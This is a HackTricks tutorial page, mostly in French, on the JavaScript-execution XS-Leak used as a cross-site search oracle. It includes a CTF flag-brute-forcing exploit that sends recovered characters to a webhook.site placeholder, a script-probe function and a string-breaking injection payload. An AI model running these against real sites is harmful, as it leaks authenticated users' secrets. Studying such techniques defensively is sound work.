JavaScript Execution XS Leak
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
Ce primitive XS-Search transforme le fait qu’une réponse cross-origin s’exécute comme JavaScript en un oracle booléen.
La configuration habituelle est :
- État positif : la cible renvoie du texte contrôlé par l’attaquant ou du contenu sensible qui n’exécute pas le JavaScript de l’attaquant.
- État négatif : la cible reflète du texte contrôlé par l’attaquant dans un endroit analysé comme du JavaScript valide, de sorte que l’attaquant peut forcer un callback comme
window.parent.foo(). - leak : charger la cible avec un
<script src>classique et observer si le callback se déclenche.
C’est essentiellement un oracle d’exécution, pas un oracle temporel. La seule chose dont l’attaquant a besoin est une inclusion de script cross-origin qui se comporte différemment selon la branche dépendante du secret.
Pour le contexte général sur XS-Leaks, voir :
When This Works
Cette technique est pratique lorsque tout ce qui suit est vrai :
- La victime est authentifiée sur l’origine cible.
- L’attaquant peut faire demander au navigateur de la victime un classic script depuis l’origine cible.
- Une branche renvoie du contenu qui est du JavaScript valide contrôlé par l’attaquant.
- L’autre branche renvoie du contenu qui n’exécute pas le callback de l’attaquant.
En pratique, les cas les plus simples sont les endpoints de recherche/débogage qui :
- renvoient du texte contrôlé par l’attaquant lorsque la supposition est fausse
- renvoient un corps différent lorsque la supposition est correcte
- permettent à l’attaquant de choisir un paramètre comme
callback,hint,msg, ou un préfixe/suffixe reflété
Basic Example
Code côté serveur qui essaiera ${guess} comme préfixe de flag :
app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})
Page principale qui génère des iframes vers la page précédente /guessing afin de tester chaque possibilité :
<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1
let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}
// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>
La logique de l’attaquant est :
- Commencez chaque candidate comme “good”.
- Chargez la réponse cible comme un script.
- Si la réponse exécute
window.parent.foo(), marquez la candidate comme wrong. - Si aucun callback ne se déclenche, conservez la candidate et continuez le brute-forcing.
Minimal Probe Pattern
Dans beaucoup de cibles réelles, un iframe n’est pas required. Une inclusion directe de script suffit :
<script>
let hit = true
function miss() {
hit = false
}
function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>
Si la branche de “wrong guess” reflète miss(), alors :
probe(...) === falsesignifie que le callback s’est exécuté ou que le chargement a échouéprobe(...) === truesignifie que le script s’est chargé sans exécuter le callback de l’attaquant
Pour plus de fiabilité, utilisez un script element frais par probe et ajoutez un cache-buster tel que ?r=${crypto.randomUUID()}.
Modern Caveats
It must be a classic script
Cette primitive repose sur le fait que le browser récupère la ressource comme un classic script. Un simple <script src=...> sans crossorigin est récupéré en mode no-cors, ce qui explique précisément pourquoi cet ancien pattern reste utile en cross-origin.
Ne passez pas à type="module" pour cette technique :
- les cross-origin module scripts require CORS
- de nombreuses cibles qui peuvent être incluses comme classic scripts échoueront simplement en tant que modules
MIME type and nosniff decide whether the payload executes
Les browsers actuels sont plus stricts que dans les writeups plus anciens. Si la cible définit X-Content-Type-Options: nosniff, le browser bloquera une réponse de script dont le MIME type n’est pas un MIME type JavaScript.
Cela signifie que cet oracle dépend souvent de :
- si la cible renvoie
application/javascript/text/javascript - si la cible renvoie
text/plain,text/html, ou JSON - si
nosniffest présent
C’est aussi pourquoi certains endpoints ne donnent un leak que dans une seule branche : une réponse est acceptée comme script, tandis que l’autre branche est bloquée ou parsée différemment.
CORB can change the observable result
CORB ajoute une autre branche à prendre en compte. Si une réponse est considérée comme protégée par CORB, Chromium peut la transformer en une empty valid script response au lieu de faire apparaître une erreur de parsing. Donc pour certains endpoints :
- un état déclenche un parse normal du script / callback
- un autre état devient un script vide et seul
onloadse déclenche
C’est toujours un oracle utile, mais le signal est maintenant callback vs no callback ou onload vs onerror, et pas seulement “JavaScript exécuté ou non”.
CSP can kill the attacker-controlled branch
Une CSP stricte sur la target response peut casser cette primitive lorsque la branche reflétée n’est plus du JavaScript exécutable. Les writeups publics de challenge XS-Leak de 2022 à 2024 s’appuient régulièrement sur ce détail :
script-src 'none'peut forcer les attaquants à abandonner un oracle d’exécution direct- les interactions CSP/SRI/CSP-report peuvent encore créer d’autres leak oracles, mais ceux-ci appartiennent à d’autres pages/techniques
Donc, lorsque le trick évident du callback ne fonctionne pas, inspectez les headers de réponse avant d’écarter l’endpoint.
Useful Variants
Callback-parameter endpoints
La cible la plus pratique est un endpoint de style JSONP ou debug qui accepte un paramètre tel que :
callback=...cb=...jsonp=...hint=...msg=...
Si la branche “miss” reflète cette valeur telle quelle dans du JavaScript exécutable tandis que la branche “hit” renvoie un contenu différent, vous obtenez un oracle booléen direct sans mesure de timing.
Syntax-preserving prefixes and suffixes
Parfois, vous ne pouvez pas contrôler entièrement le corps de la réponse, mais vous pouvez quand même faire exécuter la branche négative :
- fermer la string ou l’argument de fonction courant
- injecter le callback
- commenter les octets de fin
Par exemple, une branche reflétée comme :
showResult("<attacker>");
peut souvent être transformé en :
showResult("");window.parent.foo();//");
Si la branche positive ne reflète pas ce payload, le callback devient l’oracle.
Combining with event-based oracles
Si l’endpoint est instable selon les browsers, combine l’oracle d’exécution avec les événements génériques de chargement de script déjà couverts dans la section index :
- callback fired
onloadonerror
C’est particulièrement utile lorsqu’une branche produit du JavaScript valide et qu’une autre branche déclenche un comportement MIME bloqué / CORB / CSP.
Pages associées :
Practical Notes
- Préfère un bit par requête et garde l’effet de bord du callback simple.
- Si tu testes beaucoup de candidats, supprime les éléments
<script>déjà insérés ou isole chaque tentative dans un iframe vierge. - Le cache et le comportement des service workers peuvent fausser l’oracle ; utilise un cache-busting.
- Cette primitive est la plus puissante lorsque la branche négative est du JavaScript entièrement contrôlé par l’attaquant. Si tu n’obtiens qu’une réflexion partielle, l’exploit devient un problème de shaping du payload plutôt qu’un problème de XS-Search.
References
- https://xsleaks.dev/docs/attacks/error-events/
- https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


